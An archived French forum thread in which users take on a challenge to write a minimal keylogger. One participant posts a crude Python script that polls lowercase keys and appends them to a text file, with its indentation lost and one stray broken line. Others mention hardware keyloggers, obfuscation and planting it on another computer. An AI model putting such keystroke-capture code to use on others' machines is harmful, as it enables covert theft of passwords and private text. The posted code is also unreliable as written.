Topic de CrabyCouille :

[CODE] DEFI faire un KEYLOGGER

Hello les khey :)

Défi : faire un keylogger qui détecte simplement les lettres de l'alphabet (en minuscule vous faites pas
chier avec les majuscules) et les espaces (minimum syndicale) et les écrits dans un txt :)

Si possible en moins de 40 lignes mais c'est pas obligé ! :)

Tout les langages de code sont autorisé mais évitez quand même le PhP ou les langage web (JS etc..)

Dites le si vous voulez participer ! :)

Bonne chance !

J'en avais déjà fait un, j'ai juste repris le code pour faire moins de 40 lignes.

Bien joué :) !

Je débute un peu en programmation (j'étais plus dans le web) et je commence par python (logiquement)

Du coup j'en ai fait un de mon côté (mon premier :) )

le voici :
import keyboard
import mouse
import time

letters = "a b c d e f g h i j k l m n o p q r s t u v w x y z space"
split = letters.split(" ")
  1. t = time.time()

def main():
while True:
i = 0
for x in split:
i = i + 1
if keyboard.is_pressed(x):
print(x)
write(x)
time.sleep(0.17)
if i == 27:
break
time.sleep(0.01)
break

def write(key):
f = open("file.txt", "a")
if key == "space":
f.write(" ")
f.close()
else:
f.write(str(key))
f.close()

if __name__ == '__main__':
main()

deso pour l'indentation je sais pas comment faire sur jvc :(

d'ailleur l'importation des modules time et mouse ne sert à rien (au cas ou je devrais les utiliser :( )
Il marche aussi même quand la fenêtre de ton programme n'a pas le focus ? Je pense pas. :(
J'ai copié collé puis renommer le fichier en .exe mais ça marche pas ?! Jcrois que jai pas assez de ram, je vais en télécharger un peu plus mais 120€ le go ça fait un peu cher, je vais attendre le salaire

Le 12 août 2021 à 15:24:24 :
Il marche aussi même quand la fenêtre de ton programme n'a pas le focus ? Je pense pas. :(

alors je viens de test, de mon coté ça marche ...

Le 12 août 2021 à 15:27:24 :
J'ai copié collé puis renommer le fichier en .exe mais ça marche pas ?! Jcrois que jai pas assez de ram, je vais en télécharger un peu plus mais 120€ le go ça fait un peu cher, je vais attendre le salaire

tu change un fichier python en un executable :pf:

Le 12 août 2021 à 15:28:31 :
alors je viens de test, de mon coté ça marche ...

Ok, au temps pour moi !

j'ai déjà fabriqué un keylogger physique a base d'atmega32u4, apres y a aussi des trucs marrant a faire avec des attiny85 usb https://image.noelshack.com/fichiers/2020/38/1/1600113751-risitas3-hd-altieri.jpg

Le 12 août 2021 à 15:30:18 :

Le 12 août 2021 à 15:28:31 :
alors je viens de test, de mon coté ça marche ...

Ok, au temps pour moi !

T'en fait pas ! Après je le run dans sublim text (je peux pas faire tourner Pycharm sur mon pc de daube)
donc je sais pas si il marchera autrement :(

Le 12 août 2021 à 15:33:07 :
j'ai déjà fabriqué un keylogger physique a base d'atmega32u4, apres y a aussi des trucs marrant a faire avec des attiny85 usb https://image.noelshack.com/fichiers/2020/38/1/1600113751-risitas3-hd-altieri.jpg

Oula trop technique pour moi :)

c'est pas la capture des touches le truc compliqué c'est le reste...

Le 12 août 2021 à 15:34:10 :
c'est pas la capture des touches le truc compliqué c'est le reste...

C'est à dire :( ?

Le 12 août 2021 à 15:34:48 :

Le 12 août 2021 à 15:34:10 :
c'est pas la capture des touches le truc compliqué c'est le reste...

C'est à dire :( ?

bah la gestion des langues, fenêtres, offuscation

et puis concretement un keylogger en python euh... je vois pas l'interet

Le 12 août 2021 à 15:42:49 :
et puis concretement un keylogger en python euh... je vois pas l'interet

effectivement :pf:

mais après pour la vitesse d'exec ça peut etre pas mal nan :(

C'est pour faire des carabistouilles ? https://image.noelshack.com/fichiers/2018/25/2/1529422413-risitaszoom.png
Et apres comment tu fait, tu l'execute sur un ordi autre que le tien ? Tu le met sur une clé usb ?

Données du topic

Auteur
CrabyCouille
Date de création
12 août 2021 à 15:06:36
Nb. messages archivés
27
Nb. messages JVC
26
En ligne sur JvArchive 282